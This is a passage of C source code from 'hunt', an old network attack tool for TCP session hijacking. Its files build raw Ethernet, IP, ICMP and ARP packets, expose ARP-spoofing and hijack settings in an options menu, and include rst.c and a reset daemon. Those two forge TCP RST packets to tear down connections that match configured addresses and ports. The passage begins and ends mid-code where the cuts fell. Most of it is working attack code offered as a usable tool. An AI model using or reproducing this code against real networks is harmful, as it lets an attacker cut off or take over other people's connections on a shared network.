*)ip, IPHDR); tcp->seq = ts->seq; if (ts->ack) tcp->ack_seq = ts->ack_seq; tcp->check = 0; tcp->check = ip_in_cksum(ip, (unsigned short *) tcp, sizeof(struct tcphdr) + ts->data_len); memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; iov.iov_len = sizeof(struct ethhdr) + tot_len; retval = Sendmsg(linksock, &msg, 0); return retval; } int send_icmp_packet(struct icmp_spec *is) { int tot_len, retval; char buf[2048], *data; struct ethhdr *eth; struct iphdr *ip; struct icmphdr *icmp; struct msghdr msg; struct sockaddr spkt; struct iovec iov; int data_len; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, is->dst_mac, ETH_ALEN); memcpy(eth->h_source, is->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_IP); ip = (struct iphdr *) (eth + 1); icmp = (struct icmphdr *) (ip + 1); data = (char *) (icmp + 1); memset(ip, 0, sizeof(struct iphdr)); memset(icmp, 0, sizeof(struct icmphdr)); if (!is->data_len) { memset(data, 0, 64); data_len = 64; } else { memcpy(data, is->data, is->data_len); data_len = is->data_len; } ip->version = 4; ip->ihl = 5; tot_len = IPHDR + sizeof(struct icmphdr) + data_len; ip->tot_len = htons(tot_len); ip->ttl = 64; ip->protocol = IPPROTO_ICMP; ip->saddr = is->src_addr; ip->daddr = is->dst_addr; ip->frag_off = htons(IP_DF); ip->id = 0; ip->check = 0; ip->check = in_cksum((unsigned short *)ip, IPHDR); assert(sizeof(struct icmphdr) == 8); icmp->type = is->type; icmp->code = is->code; icmp->un.gateway = is->un.res ; icmp->checksum = 0; icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr) + data_len); memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; iov.iov_len = sizeof(struct ethhdr) + tot_len; retval = Sendmsg(linksock, &msg, 0); return retval; } void send_icmp_request(unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac, unsigned short seq) { struct icmp_spec icmp; icmp.src_addr = src_addr; icmp.dst_addr = dst_addr; icmp.src_mac = src_mac; icmp.dst_mac = dst_mac; icmp.type = 8; icmp.code = 0; icmp.un.idseq.id = htons(0xAA); icmp.un.idseq.seq = seq; icmp.data = NULL; icmp.data_len = 0; send_icmp_packet(&icmp); } int is_icmp_reply(struct packet *p, unsigned int src_addr, unsigned int dst_addr, char *src_mac, char *dst_mac) { struct iphdr *iph = p->p_iph; struct icmphdr *icmph = p->p_hdr.p_icmph; struct ethhdr *ethh = p->p_ethh; unsigned short seq, id; if (iph->saddr == src_addr && iph->daddr == dst_addr && icmph->type == 0 && icmph->code == 0) { seq = (icmph->un.gateway & 0xFFFF0000) >> 16; id = icmph->un.gateway & 0xFFFF; #if 1 if (id != htons(0xAA)) return 0; #endif if (memcmp(ethh->h_dest, dst_mac, ETH_ALEN) == 0 && memcmp(ethh->h_source, src_mac, ETH_ALEN) == 0) return 1; else return 2; } return 0; } int send_arp_packet(struct arp_spec *as) { char buf[512]; int retval, data_len; struct msghdr msg; struct iovec iov; struct ethhdr *eth; struct arphdr *arp; struct arpeth_hdr *arpeth; struct sockaddr spkt; eth = (struct ethhdr *) buf; memcpy(eth->h_dest, as->dst_mac, ETH_ALEN); memcpy(eth->h_source, as->src_mac, ETH_ALEN); eth->h_proto = htons(ETH_P_ARP); arp = (struct arphdr *) (eth + 1); arp->ar_hrd = htons(ARPHRD_ETHER); arp->ar_pro = htons(ETH_P_IP); arp->ar_hln = ETH_ALEN; arp->ar_pln = 4; /* IP */ arp->ar_op = as->oper; arpeth = (struct arpeth_hdr *)(arp + 1); memcpy(arpeth->ar_sha, as->sender_mac, ETH_ALEN); *(unsigned long *)arpeth->ar_sip = as->sender_addr; memcpy(arpeth->ar_tha, as->target_mac, ETH_ALEN); *(unsigned long *)arpeth->ar_tip = as->target_addr; memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = buf; /* * arp packets are sent as 60 bytes packets (sum of structs are 42) */ data_len = sizeof(struct ethhdr) + sizeof(struct arphdr) + sizeof(struct arpeth_hdr); memset(buf + data_len, 0, 60 - data_len); /* iov.iov_len = sizeof(struct ethhdr) + sizeof(struct arphdr) + sizeof(struct arpeth_hdr);*/ iov.iov_len = 60; retval = Sendmsg(linksock, &msg, 0); return retval; } int send_packet(struct packet *p) { int retval; struct sockaddr spkt; struct msghdr msg; struct iovec iov; memset(&spkt, 0, sizeof(spkt)); strncpy(spkt.sa_data, eth_device, sizeof(spkt.sa_data)); memset(&msg, 0, sizeof(msg)); msg.msg_name = &spkt; msg.msg_namelen = sizeof(spkt); msg.msg_iovlen = 1; msg.msg_iov = &iov; iov.iov_base = p->p_raw; iov.iov_len = p->p_raw_len; retval = Sendmsg(linksock, &msg, 0); return retval; } #if 0 void arp_test(void) { struct arp_spec as; int i; char src_mac[6] = {0x00, 0x60, 0x97, 0x75, 0xA4, 0xA4}; char dst_mac[6] = {0x00, 0x60, 0x97, 0x72, 0x4E, 0xB5}; char sender[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF}; linksock = tap(eth_device, 1); as.src_mac = sender; as.dst_mac = dst_mac; as.oper = htons(ARPOP_REPLY); /* ARPOP_REQUEST */ as.sender_mac = sender; as.sender_addr = inet_addr("192.168.32.13"); as.target_mac = dst_mac; as.target_addr = inet_addr("192.168.32.10"); send_arp_packet(&as); close(linksock); } #endif hunt-1.4/options.c100644 0 0 13247 6660545513 12313 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #define LINES_O_UNLIMITED 1000000 int lines_o = LINES_O_UNLIMITED; static void list_conn_properties(void) { int c; int mac, seq; c = menu_choose_char("print MAC y/n", "ny", conn_list_mac ? 'y' : 'n'); switch (c) { case 'n': mac = 0; break; case 'y': mac = 1; break; default: return; } c = menu_choose_char("print SEQ y/n", "ny", conn_list_seq ? 'y' : 'n'); switch (c) { case 'n': seq = 0; break; case 'y': seq = 1; break; default: return; } conn_list_mac = mac; conn_list_seq = seq; } static void suggest_mac_setup(void) { char buf[128]; unsigned char buf_mac[ETH_ALEN]; sprintf_eth_mac(buf, __suggest_mac); if (menu_choose_mac("suggest MAC base", buf_mac, buf) < 0) return; memcpy(__suggest_mac, buf_mac, sizeof(buf_mac)); } static void print_host_properties(void) { switch (menu_choose_char("Resolve host names", "yn", hl_mode == HL_MODE_NR ? 'n' : 'y')) { case 'y': hl_mode = HL_MODE_DEFERRED; break; case 'n': hl_mode = HL_MODE_NR; break; default: break; } } static void mac_learn_from_ip_opt(void) { switch (menu_choose_char("Learn MAC from IP traffic", "yn", mac_learn_from_ip == 0 ? 'n' : 'y')) { case 'y': mac_learn_from_ip = 1; break; case 'n': mac_learn_from_ip = 0; break; default: break; } } static void storm_reset_sec_setup(void) { int sec; if ((sec = menu_choose_unr("ACK storm reset sec", 0, 10000, storm_reset_sec)) < 0) return; storm_reset_sec = sec; } static void stormack_hijack_wait_sec_setup(void) { int sec; if ((sec = menu_choose_unr("Sec to wait for next cmd with simple hijack", 0, 10000, stormack_hijack_wait_sec)) < 0) return; stormack_hijack_wait_sec = sec; } static void arp_rr_count_setup(void) { int n; if ((n = menu_choose_unr("Number of ARP request/reply packets hunt will send", 1, 32, arp_rr_count)) < 0) return; arp_rr_count = n; } static void arp_request_spoof_through_request_setup(void) { switch (menu_choose_char("arp request spoof through request", "yn", arp_request_spoof_through_request ? 'y' : 'n')) { case 'y': arp_request_spoof_through_request = 1; break; case 'n': arp_request_spoof_through_request = 0; break; default: break; } } static void arp_spoof_switch_setup(void) { switch (menu_choose_char("switched environment", "yn", arp_spoof_switch ? 'y' : 'n')) { case 'y': arp_spoof_switch = 1; break; case 'n': arp_spoof_switch = 0; break; default: break; } } static void arp_spoof_with_my_mac_setup(void) { switch (menu_choose_char("use my mac in ARP spoofing", "yn", arp_spoof_with_my_mac ? 'y' : 'n')) { case 'y': arp_spoof_with_my_mac = 1; break; case 'n': arp_spoof_with_my_mac = 0; break; default: break; } } static void printed_lines_per_page(void) { int n; n = lines_o; if (n == LINES_O_UNLIMITED) n = 0; if ((n = menu_choose_unr("Number of printed lines per page in listenings", 0, 10000, n)) < 0) return; if (n == 0) lines_o = LINES_O_UNLIMITED; else lines_o = n; } static void verbose_setup(void) { switch (menu_choose_char("verbose", "yn", verbose ? 'y' : 'n')) { case 'y': verbose = 1; break; case 'n': verbose = 0; break; default: break; } } void lines_o_press_key(void) { press_key("press key"); } void options_menu(void) { char buf_menu[2048]; char buf_mac[128]; char *o_keys = "lamdcghrsqtwyepvx"; int run_it; run_it = 1; while (run_it) { sprintf_eth_mac(buf_mac, __suggest_mac); sprintf(buf_menu, "l) list add conn policy \n" "a/m/d) add/mod/del conn policy entry \n" "c) conn list properties mac %c, seq %c\n" "g) suggest mac base %s\n" "h) host resolving %c " " t) arp req spoof through req %c\n" "r) reset ACK storm timeout %3ds" " w) switched environment %c\n" "s) simple hijack cmd timeout %3ds" " y) arp spoof with my mac %c\n" "q) arp req/rep packets %3d " " e) learn MAC from IP traffic %c\n" "p) number of lines per page %3d " " v) verbose %c\n" "x) return\n", conn_list_mac ? 'y' : 'n', conn_list_seq ? 'y' : 'n', buf_mac, hl_mode == HL_MODE_NR ? 'n' : 'y', arp_request_spoof_through_request ? 'y' : 'n', storm_reset_sec, arp_spoof_switch ? 'y' : 'n', stormack_hijack_wait_sec, arp_spoof_with_my_mac ? 'y' : 'n', arp_rr_count, mac_learn_from_ip ? 'y' : 'n', lines_o == LINES_O_UNLIMITED ? 0 : lines_o, verbose ? 'y' : 'n'); switch (menu("options", buf_menu, "opt", o_keys, 0)) { case 'l': addpolicy_list_items(); break; case 'a': addpolicy_add_item(); break; case 'd': addpolicy_del_item(); break; case 'm': addpolicy_mod_item(); break; case 'c': list_conn_properties(); break; case 'g': suggest_mac_setup(); break; case 'h': print_host_properties(); break; case 'r': storm_reset_sec_setup(); break; case 's': stormack_hijack_wait_sec_setup(); break; case 'e': mac_learn_from_ip_opt(); break; case 't': arp_request_spoof_through_request_setup(); break; case 'w': arp_spoof_switch_setup(); break; case 'y': arp_spoof_with_my_mac_setup(); break; case 'q': arp_rr_count_setup(); break; case 'p': printed_lines_per_page(); break; case 'v': verbose_setup(); break; case 'x': run_it = 0; break; } } } hunt-1.4/resolv.c100644 0 0 27322 6661544241 12127 0ustar rootroot#include "hunt.h" #include #include #include #include #include #include #include #include #include #include #include #include "c/hash.h" #define CHECK_INTERVAL (10) #define RESOLV_ITEM_LIVETIME (20 * 60) #define RESOLV_ITEM_REFRESH (RESOLV_ITEM_LIVETIME / 2) struct hash ip_to_name_table; int hl_mode = 0; struct req { unsigned int ip; struct req *next; /* doesn't used if passed through pipe */ }; struct res { int err; unsigned int ip; int name_len; char name[0]; /* little trick, see later */ }; struct slave { struct req s_req; time_t s_timestamp; pid_t s_pid; int s_fd; struct slave *s_next; }; #define MAX_SLAVES 5 #define SLAVE_MAX_IDLE (1 * 60) static int fd_req = -1; /* pipe to resolver daemon */ static pid_t pid_req = 0; /* pid of resolver daemon */ static pid_t pid_parent = 0; /* * operation on hash table */ void resolv_remove(unsigned int ip) { struct resolv_item *r; if ((r = hash_remove(&ip_to_name_table, ip, NULL))) { pthread_mutex_lock(&r->mutex); if (r->name) free(r->name); free(r); } } void resolv_put(unsigned int ip, const char *name) { struct resolv_item *r; hash_lock(&ip_to_name_table); resolv_remove(ip); r = malloc(sizeof(struct resolv_item)); r->name = strdup(name); r->put_timestamp = r->get_timestamp = time(NULL); pthread_mutex_init(&r->mutex, NULL); hash_put(&ip_to_name_table, ip, r); hash_unlock(&ip_to_name_table); } struct resolv_item *resolv_get(unsigned int ip) { struct resolv_item *r; hash_lock(&ip_to_name_table); if ((r = hash_get(&ip_to_name_table, ip, NULL))) { pthread_mutex_lock(&r->mutex); r->get_timestamp = time(NULL); } hash_unlock(&ip_to_name_table); return r; } void resolv_release(struct resolv_item *r) { pthread_mutex_unlock(&r->mutex); } void resolv_request(unsigned int ip) { struct req req; struct in_addr addr; addr.s_addr = ip; req.ip = ip; req.next = NULL; write(fd_req, &req, sizeof(struct req)); resolv_put(ip, inet_ntoa(addr)); /* ok, will be changed after request is processed */ } static void check_interval(int __time) { struct hash_iterator li; struct resolv_item *r; unsigned int ip; hash_lock(&ip_to_name_table); hash_iter_set(&li, &ip_to_name_table); while ((r = hash_iter_get(&li, &ip))) { if (r->put_timestamp + RESOLV_ITEM_LIVETIME < __time) resolv_remove(ip); else if (r->get_timestamp - r->put_timestamp >= RESOLV_ITEM_REFRESH) resolv_request(ip); } hash_iter_end(&li); hash_unlock(&ip_to_name_table); } static void *update_thr(void *arg) { struct timeval timeout; fd_set rdset; int fd = (int) arg; struct res r; char buf[256]; int update_thr_run; int retval; time_t __time; time_t last_time_check; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); if (verbose) printf("update resolv thread pid %d\n", getpid()); setpriority(PRIO_PROCESS, getpid(), 10); update_thr_run = 1; last_time_check = 0; while (update_thr_run && pthread_kill(main_thread_id, 0) == 0) { FD_ZERO(&rdset); FD_SET(fd, &rdset); timeout.tv_sec = min(CHECK_INTERVAL, 10); timeout.tv_usec = 0; retval = select(fd + 1, &rdset, NULL, NULL, &timeout); if (retval > 0 && FD_ISSET(fd, &rdset) && read(fd, &r, sizeof(struct res)) == sizeof(struct res)) { if (r.err == 0 && r.name_len) { if (read(fd, buf, r.name_len) != r.name_len) printf("bad read of len in update thr\n"); buf[r.name_len] = 0; resolv_put(r.ip, buf); } } __time = time(NULL); if (last_time_check + CHECK_INTERVAL < __time) { check_interval(__time); last_time_check = __time; } } return NULL; } /* * daemon/slaves for resolving */ static volatile int resolv_slave_run; static void sig_slave_term(int signum) { resolv_slave_run = 0; } static void resolv_slave(int fd) { struct sigaction sa; struct in_addr addr; struct hostent *host_ent; struct timeval timeout; char buf[256]; struct res *res; struct req req; char *name; fd_set rdset; int retval; setpriority(PRIO_PROCESS, getpid(), 10); resolv_slave_run = 1; sa.sa_handler = sig_slave_term; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGTERM, &sa, NULL); while (resolv_slave_run && getppid() != 1) { FD_ZERO(&rdset); FD_SET(fd, &rdset); timeout.tv_sec = 10; timeout.tv_usec = 0; retval = select(fd + 1, &rdset, NULL, NULL, &timeout); if (retval > 0 && FD_ISSET(fd, &rdset) && read(fd, &req, sizeof(struct req)) == sizeof(struct req)) { addr.s_addr = req.ip; host_ent = NULL; host_ent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); res = (struct res *) buf; if (!host_ent) { /* name = inet_ntoa(addr); */ res->err = 1; res->ip = req.ip; res->name_len = 0; } else { name = host_ent->h_name; /* make sure write is atomic - dont use several writes * the kernel garantie atomicity to 1024B */ res->err = 0; res->ip = req.ip; res->name_len = strlen(name) + 1; strcpy(res->name, name); assert((void *) res->name == (void *)(res + 1)); } write(fd, res, sizeof(struct res) + res->name_len); } } close(fd); exit(0); } static volatile int resolv_daemon_run; static void sig_term(int signum) { resolv_daemon_run = 0; } static void send_req_to_slave(int fd, struct list *slaves, struct list *requests) { struct list_iterator li; struct slave *sl; struct req *r; struct req req; int pipe[2]; list_iter_set(&li, slaves); while (list_count(requests) && (sl = list_iter_get(&li))) { if (sl->s_req.ip == 0) { r = list_pop(requests); sl->s_req = *r; sl->s_req.next = NULL; sl->s_timestamp = time(NULL); req = *r; req.next = NULL; write(sl->s_fd, &req, sizeof(struct req)); free(r); } } list_iter_end(&li); while (list_count(requests) && list_count(slaves) < MAX_SLAVES) { r = list_pop(requests); sl = malloc(sizeof(struct slave)); sl->s_req = *r; sl->s_timestamp = time(NULL); req = *r; free(r); socketpair(AF_UNIX, SOCK_STREAM, 0, pipe); sl->s_fd = pipe[0]; if ((sl->s_pid = fork()) == 0) { /* slave */ close(pipe[0]); close(fd); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) close(sl->s_fd); list_iter_end(&li); resolv_slave(pipe[1]); exit(0); } else if (sl->s_pid > 0) { /* parent */ close(pipe[1]); list_enqueue(slaves, sl); write(sl->s_fd, &req, sizeof(struct req)); } else printf("err launching dns slave\n"); } } static void remove_idle_slaves(struct list *slaves) { struct list_iterator li; struct slave *sl; time_t cur_time; cur_time = time(NULL); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) { if (sl->s_req.ip == 0 && sl->s_timestamp + SLAVE_MAX_IDLE < cur_time) { kill(sl->s_pid, SIGTERM); waitpid(sl->s_pid, NULL, 0); close(sl->s_fd); list_remove(slaves, sl); free(sl); } } list_iter_end(&li); } static void cleanup_slaves(struct list *slaves) { struct list_iterator li; struct slave *sl; list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) kill(sl->s_pid, SIGTERM); list_iter_end(&li); list_iter_set(&li, slaves); while ((sl = list_iter_get(&li))) waitpid(sl->s_pid, NULL, 0); list_iter_end(&li); while ((sl = list_pop(slaves))) free(sl); } static void handle_response(int fd, struct slave *sl) { char buf[256]; struct res *res; res = (struct res *) buf; if (read(sl->s_fd, buf, sizeof(struct res)) == sizeof(struct res)) { if (res->name_len) read(sl->s_fd, res + 1, res->name_len); if (res->err == 0) { write(fd, buf, sizeof(struct res) + res->name_len); } sl->s_req.ip = 0; sl->s_timestamp = time(NULL); } } static void resolv_daemon(int fd) { struct list_iterator li; struct sigaction sa; struct req req; struct list slaves = LIST_INIT(struct slave, s_next); struct list requests = LIST_INIT(struct req, next); struct req *r; fd_set select_fd; int select_max; struct timeval timeout; struct slave *sl; int retval; if (verbose) printf("resolv daemon pid %d\n", getpid()); setpriority(PRIO_PROCESS, getpid(), 10); resolv_daemon_run = 1; sa.sa_handler = sig_term; sigemptyset(&sa.sa_mask); sa.sa_flags = SA_RESTART; sigaction(SIGTERM, &sa, NULL); while (resolv_daemon_run && kill(pid_parent, 0) == 0) { FD_ZERO(&select_fd); select_max = 0; list_iter_set(&li, &slaves); while ((sl = list_iter_get(&li))) { FD_SET(sl->s_fd, &select_fd); select_max = max(select_max, sl->s_fd); } list_iter_end(&li); FD_SET(fd, &select_fd); select_max = max(select_max, fd); timeout.tv_sec = 10; timeout.tv_usec = 0; retval = select(select_max + 1, &select_fd, NULL, NULL, &timeout); if (retval > 0) { /* handle responses from clients */ list_iter_set(&li, &slaves); while ((sl = list_iter_get(&li))) { if (FD_ISSET(sl->s_fd, &select_fd)) handle_response(fd, sl); } list_iter_end(&li); /* handle requests from hunt */ if (FD_ISSET(fd, &select_fd)) { if (read(fd, &req, sizeof(struct req)) == sizeof(struct req)) { r = malloc(sizeof(struct req)); *r = req; list_enqueue(&requests, r); } } send_req_to_slave(fd, &slaves, &requests); } remove_idle_slaves(&slaves); } cleanup_slaves(&slaves); close(fd); exit(0); } char *host_lookup(unsigned int in, int use_mode) { static char hostname_buf[BUFSIZE] = {0}; static int hostname_idx = 0; struct in_addr addr; char *name, *retval; int len; struct hostent *host_ent; struct resolv_item *r; addr.s_addr = in; host_ent = NULL; if (in == 0) return inet_ntoa(addr); r = NULL; switch (use_mode) { case HL_MODE_NAME: if (!(r = resolv_get(in))) { host_ent = gethostbyaddr((char *)&addr, sizeof(struct in_addr), AF_INET); if(!host_ent) name = inet_ntoa(addr); else name = host_ent->h_name; } else name = r->name; break; case HL_MODE_DEFERRED: if (!(r = resolv_get(in))) { resolv_request(in); name = inet_ntoa(addr); } else name = r->name; break; case HL_MODE_NR: default: name = inet_ntoa(addr); break; } len = strlen(name); if (len + hostname_idx + 1 > sizeof(hostname_buf)) hostname_idx = 0; strcpy((retval = hostname_buf + hostname_idx), name); hostname_idx += len + 1; if (r) resolv_release(r); return retval; } /* * init/done */ void resolv_init(void) { int pipe[2]; pthread_t res_update_thr; pid_parent = getppid(); socketpair(AF_UNIX, SOCK_STREAM, 0, pipe); if ((pid_req = fork()) == 0) { /* child */ close(pipe[0]); sigprocmask(SIG_BLOCK, &intr_mask, NULL); resolv_daemon(pipe[1]); } else if (pid_req < 0) { printf("dns daemon failed to start - exiting\n"); exit(1); } close(pipe[1]); fd_req = pipe[0]; hash_init(&ip_to_name_table, 100, NULL); pthread_create(&res_update_thr, NULL, update_thr, (void *) fd_req); } void resolv_done(void) { kill(pid_req, SIGTERM); waitpid(pid_req, NULL, 0); } char *port_lookup(unsigned short serv, int use_mode) { static char servname_buf[BUFSIZE] = {0}; static int servname_idx = 0; char name_buf[64]; char *name, *retval; int len; struct servent *serv_ent; if (serv == 0) return "0"; switch (use_mode) { case HL_MODE_NAME: case HL_MODE_DEFERRED: serv_ent = getservbyport(serv, "tcp"); if(!serv_ent) ; /* go through */ else { name = serv_ent->s_name; break; } case HL_MODE_NR: default: name = name_buf; sprintf(name, "%d", ntohs(serv)); break; } len = strlen(name); if (len + servname_idx + 1 > sizeof(servname_buf)) servname_idx = 0; strcpy((retval = servname_buf + servname_idx), name); servname_idx += len + 1; return retval; } unsigned short service_lookup(char *name) { struct servent *serv_ent; if (!(serv_ent = getservbyname(name, "tcp"))) return 0; else return htons(serv_ent->s_port); } hunt-1.4/rst.c100644 0 0 3634 6614614701 11402 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include #include #include /* * reset tcp connection */ void user_rst(struct user_conn_info *uci, int count, int mode) { struct conn_info *ci; unsigned int key; if (!(ci = conn_get(uci))) printf("connection isn't available\n"); else { switch (mode) { case MODE_BOTH: rst(ci, count, 0); rst(ci, count, 1); break; case MODE_SRC: rst(ci, count, 0); break; case MODE_DST: rst(ci, count, 1); break; } /* * well we don't receive RST packet, because we are the one * who is sending it so we have to remove it by hand */ key = uci_generate_key(uci); hash_remove(&conn_table, key, uci); conn_free(ci); } } void rst(struct conn_info *ci, int count, int rstdst) { struct tcp_spec ts; int i; if (rstdst) { ts.saddr = ci->src_addr; ts.daddr = ci->dst_addr; ts.sport = ci->src_port; ts.dport = ci->dst_port; ts.src_mac = ci->dst.dst_mac; ts.dst_mac = ci->dst.src_mac; ts.window = ci->src.window ? ci->src.window : htons(242); ts.id = ci->src.id; } else { ts.saddr = ci->dst_addr; ts.daddr = ci->src_addr; ts.sport = ci->dst_port; ts.dport = ci->src_port; ts.src_mac = ci->src.dst_mac; ts.dst_mac = ci->src.src_mac; ts.window = ci->dst.window ? ci->dst.window : htons(242); ts.id = ci->dst.id; } ts.ack = 1; ts.rst = 1; ts.psh = 0; ts.data = NULL; ts.data_len = 0; for (i = 0; i < count; i++) { if (rstdst) { ts.seq = htonl(ntohl(ci->dst.next_d_seq) + i); ts.ack_seq = htonl(ntohl(ci->dst.next_seq) + i); } else { ts.seq = htonl(ntohl(ci->src.next_d_seq) + i); ts.ack_seq = htonl(ntohl(ci->src.next_seq) + i); } send_tcp_packet(&ts); } } hunt-1.4/rstd.c100644 0 0 22511 6742564521 11567 0ustar rootroot/* * * This is free software. You can redistribute it and/or modify under * the terms of the GNU General Public License version 2. * * Copyright (C) 1998 by kra * */ #include "hunt.h" #include #include #include #include /* * reset daemon */ struct rst_db_item { unsigned int src_addr; unsigned int src_mask; unsigned int dst_addr; unsigned int dst_mask; unsigned int src_ports[MAX_PORTS + 1]; unsigned int dst_ports[MAX_PORTS + 1]; int rst_mode; int rst_only_syn; struct rst_db_item *next; }; static struct list l_rst_packet = LIST_INIT(struct packet, p_next[MODULE_RSTD]); static struct ifunc_item ifunc_tcp; static pthread_t rstd_thr; static int rstd_running = 0; static struct list l_rst_db = LIST_INIT(struct rst_db_item, next); static inline int packet_match_db_item(struct packet *p, struct rst_db_item *dbi) { struct iphdr *iph = p->p_iph; struct tcphdr *tcph = p->p_hdr.p_tcph; if ((iph->saddr & dbi->src_mask) == (dbi->src_addr & dbi->src_mask) && (iph->daddr & dbi->dst_mask) == (dbi->dst_addr & dbi->dst_mask) && port_match(tcph->source, dbi->src_ports) && port_match(tcph->dest, dbi->dst_ports)) { if (!dbi->rst_only_syn) { return 1; } if (tcph->syn) { return 1; } } return 0; } static struct rst_db_item *packet_match_db(struct packet *p) { struct list_iterator li; struct rst_db_item *dbi; list_lock(&l_rst_db); list_iter_set(&li, &l_rst_db); while ((dbi = list_iter_get(&li))) { if (packet_match_db_item(p, dbi)) break; } list_iter_end(&li); list_unlock(&l_rst_db); return dbi; } /* * this function is running in the hunt thread */ static void func_tcp_packet(struct packet *p, void *arg) { struct rst_db_item *dbi; if (/*p->p_hdr.p_tcph->syn || */ p->p_hdr.p_tcph->fin) return; if ((dbi = packet_match_db(p))) { packet_want(p); p->p_arg[MODULE_RSTD] = (void *) dbi->rst_mode; list_produce(&l_rst_packet, p); } } static void *rst_daemon_thr(void *arg) { struct iphdr *iph; struct tcphdr *tcph; struct conn_info *ci, __ci; struct conn_info *pci; struct user_conn_info uci; struct packet *p; struct timespec ts; int rst_mode; pthread_sigmask(SIG_BLOCK, &intr_mask, NULL); setpriority(PRIO_PROCESS, getpid(), 0); while ((p = list_consume(&l_rst_packet, NULL))) { iph = p->p_iph; tcph = p->p_hdr.p_tcph; uci.src_addr = iph->saddr; uci.dst_addr = iph->daddr; uci.src_port = tcph->source; uci.dst_port = tcph->dest; if (!(pci = conn_get(&uci))) { /* try to get current seq numbers from connection */ __ci.src_addr = iph->saddr; __ci.dst_addr = iph->daddr; __ci.src_port = tcph->source; __ci.dst_port = tcph->dest; __ci.src.next_seq = htonl(ntohl(tcph->seq) + p->p_data_len); __ci.src.next_d_seq = tcph->ack ? tcph->ack_seq : 0; memcpy(__ci.src.src_mac, p->p_ethh->h_source, ETH_ALEN); memcpy(__ci.src.dst_mac, p->p_ethh->h_dest, ETH_ALEN); __ci.src.window = tcph->window; /* ok, wrong */ __ci.src.id = iph->id; /* ok, wrong */ __ci.dst.next_seq = __ci.src.next_d_seq; __ci.dst.next_d_seq = __ci.src.next_seq; #if 0 memcpy(__ci.dst.src_mac, right_arp_addr(p->p_ethh->h_dest), ETH_ALEN); memcpy(__ci.dst.dst_mac, spoofed_arp_addr(p->p_ethh->h_source), ETH_ALEN); #else memcpy(__ci.dst.src_mac, p->p_ethh->h_dest, ETH_ALEN); memcpy(__ci.dst.dst_mac, p->p_ethh->h_source, ETH_ALEN); #endif __ci.dst.window = tcph->window; /* ok, wrong */ __ci.dst.id = iph->id; /* ok, wrong */ ci = &__ci; } else ci = pci; packet_free(p); rst_mode = (int) p->p_arg[MODULE_RSTD]; ts.tv_sec = 0; ts.tv_nsec = 100000000; switch (rst_mode) { case MODE_SRC: rst(ci, 4, 0); nanosleep(&ts, NULL); rst(ci, 4, 0); break; case MODE_DST: rst(ci, 4, 1); nanosleep(&ts, NULL); rst(ci, 4, 1); break; case MODE_BOTH: rst(ci, 4, 0); rst(ci, 4, 1); nanosleep(&ts, NULL); rst(ci, 4, 0); rst(ci, 4, 1); break; } if (pci) conn_free(pci); } return NULL; } static void rst_daemon_start(void) { if (rstd_running) { printf("daemon already running\n"); return; } list_produce_start(&l_rst_packet); ifunc_tcp.func = func_tcp_packet; ifunc_tcp.arg = NULL; list_enqueue(&l_ifunc_tcp, &ifunc_tcp); pthread_create(&rstd_thr, NULL, rst_daemon_thr, NULL); rstd_running = 1; printf("rst daemon started\n"); } static void rst_daemon_stop(void) { if (!rstd_running) { printf("daemon isn't running\n"); return; } list_remove(&l_ifunc_tcp, &ifunc_tcp); packet_flush(&l_rst_packet); list_produce_done(&l_rst_packet); pthread_join(rstd_thr, NULL); rstd_running = 0; printf("rst daemon stoped\n"); } void print_rst_daemon(void) { if (rstd_running) { if (pthread_kill(rstd_thr, 0) != 0) { pthread_join(rstd_thr, NULL); rstd_thr = (pthread_t) 0; rstd_running = 0; set_tty_color(COLOR_BRIGHTRED); printf("RST daemon failed - bug\n"); set_tty_color(COLOR_LIGHTGRAY); } else printf("R"); } } /* * * user interface * */ static void db_item_print(int i, struct rst_db_item *dbi) { char *str_mode; char buf_src_ports[BUFSIZE], buf_dst_ports[BUFSIZE]; char buf[BUFSIZE]; str_mode = sdbmode_to_char(dbi->rst_mode); sprintf_db_ports(dbi->src_ports, buf_src_ports, sizeof(buf_src_ports), 1); sprintf_db_ports(dbi->dst_ports, buf_dst_ports, sizeof(buf_dst_ports), 1); sprintf(buf, "%s/%d [%s]", host_lookup(dbi->src_addr, hl_mode), count_mask(dbi->src_mask), buf_src_ports); printf("%2d) %-24s --> %s/%d [%s] rst %s %s\n", i, buf, host_lookup(dbi->dst_addr, hl_mode), count_mask(dbi->dst_mask), buf_dst_ports, str_mode, dbi->rst_only_syn ? "SYN only" : "all"); } static void rst_list_items(void) { struct list_iterator li; struct rst_db_item *dbi; int i = 0; list_iter_set(&li, &l_rst_db); while ((dbi = list_iter_get(&li))) { db_item_print(i++, dbi); if (i % lines_o == 0) lines_o_press_key(); } list_iter_end(&li); } static void rst_add_item(void) { struct rst_db_item *dbi; unsigned int src_ip, dst_ip; unsigned int src_mask, dst_mask; int src_ports[MAX_PORTS + 1], dst_ports[MAX_PORTS + 1]; int mode, syn_mode; int 